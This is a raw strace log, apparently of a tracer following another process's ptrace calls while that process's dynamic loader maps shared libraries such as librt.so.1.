ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd9d0]) = 0
write(2, "fstat(3, ", 9) = 9
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d0, [0x801]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d8, [0x20a84]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e0, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e8, [0x81a4]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda00, [0x1cb68]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda08, [0x1000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda10, [0xe8]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda18, [0x4d820b7c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda20, [0x2a21ef34]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda28, [0x4be79d71]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda30, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda38, [0x4d340da8]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda40, [0x2f650eb]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda48, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda50, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda58, [0]) = 0
write(2, "{st_mode=S_IFREG|0644, st_size=1"..., 49) = 49
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x21d630]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 2217520, PROT_READ|PR"..., 72) = 72
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7bbe000]) = 0
write(2, ") = 0x7ffff7bbe000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7bda000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1ff000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
write(2, "mprotect(0x7ffff7bda000, 2093056"..., 43) = 43
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7dd9000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x1b000]) = 0
write(2, "mmap(0x7ffff7dd9000, 8192, PROT_"..., 96) = 96
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7dd9000]) = 0
write(2, ") = 0x7ffff7dd9000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ddb000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x630]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x32]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(0x7ffff7ddb000, 1584, PROT_"..., 91) = 91
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7ddb000]) = 0
write(2, ") = 0x7ffff7ddb000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
write(2, "close(3", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
write(2, ") = -1 ENOENT (No such file"..., 47) = 47
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7fecb93]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fecb90, [0x2f62696c2f00312e]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fecb98, [0x6f732e747262696c]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7fecba0, [0x747262696c00312e]) = 0
write(2, "open(\"/lib/librt.so.1\", O_RDONLY", 32) = 32
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
write(2, ") = 3\n", 12) = 12
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffdb08]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
write(2, "read(3, ", 8) = 8
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb08, [0x10102464c457f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb10, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb18, [0x1003e0003]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdb20, [0x2190]) = 0
write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 81) = 81
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd9a0]) = 0
write(2, "fstat(3, ", 9) = 9
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a0, [0x801]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a8, [0x20b3f]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b0, [0x1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b8, [0x81a4]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c0, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c8, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d0, [0x7c00]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9d8, [0x1000]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e0, [0x40]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9e8, [0x4d81a77b]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f0, [0x494e8e1]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9f8, [0x4d39feae]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda00, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda08, [0x4d8055e9]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda10, [0xecc2d69]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda18, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda20, [0]) = 0
ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffda28, [0]) = 0
write(2, "{st_mode=S_IFREG|0644, st_size=3"..., 48) = 48
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x207bd0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 2128848, PROT_READ|PR"..., 72) = 72
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff79b6000]) = 0
write(2, ") = 0x7ffff79b6000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff79bd000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1ff000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
write(2, "mprotect(0x7ffff79bd000, 2093056"..., 43) = 43
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7bbc000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x6000]) = 0
write(2, "mmap(0x7ffff7bbc000, 8192, PROT_"..., 95) = 95
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7bbc000]) = 0
write(2, ") = 0x7ffff7bbc000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
write(2, "close(3", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
